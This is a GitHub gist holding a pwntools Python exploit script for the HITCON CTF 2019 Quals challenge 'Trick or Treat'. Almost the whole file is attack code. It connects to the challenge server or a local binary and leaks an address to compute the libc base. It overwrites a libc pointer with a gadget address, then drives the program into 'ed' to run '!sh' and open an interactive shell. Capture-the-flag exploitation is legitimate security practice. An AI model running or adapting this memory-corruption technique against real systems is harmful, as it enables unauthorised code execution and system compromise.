Created
October 19, 2019 06:47
-
-
Save hama7230/d2bcc2765adefa1cb4ea42591da6c524 to your computer and use it in GitHub Desktop.
HITCON CTF 2019 Quals π Trick or Treat π
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
from pwn import * | |
context(terminal=['tmux', 'splitw', '-h']) # horizontal split window | |
# context(terminal=['tmux', 'new-window']) # open new window | |
# libc = ELF('') | |
elf = ELF('./trick_or_treat') | |
context(os='linux', arch=elf.arch) | |
context(log_level='debug') # output verbose log | |
RHOST = "3.112.41.140" | |
RPORT = 56746 | |
LHOST = "127.0.0.1" | |
LPORT = 56746 | |
def section_addr(name, elf=elf): | |
return elf.get_section_by_name(name).header['sh_addr'] | |
def dbg(ss): | |
log.info("%s: 0x%x" % (ss, eval(ss))) | |
conn = None | |
opt = sys.argv.pop(1) if len(sys.argv) > 1 else '?' # pop option | |
if opt in 'rl': | |
conn = remote(*{'r': (RHOST, RPORT), 'l': (LHOST, LPORT)}[opt]) | |
elif opt == 'd': | |
gdbscript = """ | |
continue | |
""".format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) | |
conn = gdb.debug(['./trick_or_treat'], gdbscript=gdbscript) | |
else: | |
conn = process(['./trick_or_treat']) | |
# conn = process(['./trick_or_treat'], env={'LD_PRELOAD': ''}) | |
if opt == 'a': gdb.attach(conn) | |
# exploit | |
log.info('Pwning') | |
a = 0x100000 | |
conn.sendlineafter('Size', str(0x1f1000 + a)) | |
conn.recvuntil('Magic:') | |
m = int(conn.recvline(), 16) | |
dbg('m') | |
libc_base = m + 0x1f1ff0 + a | |
dbg('libc_base') | |
target = libc_base + 0x3ed8e8 | |
#target = libc_base + 0x3ebc30 | |
# conn.sendline(hex((target - m)/8)[2:] + ' ' + hex(libc_base + 0x10a38c)[2:]) | |
#conn.sendline(hex((target - m)/8)[2:] + ' ' + hex(libc_base + 0x4f322)[2:]) | |
conn.sendline(hex((target - m)/8)[2:] + ' ' + hex(libc_base + 0x4f440)[2:]) | |
conn.sendline( '2'*0x800 + ' ed') | |
time.sleep(0.1) | |
conn.sendline('!sh') | |
conn.interactive() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment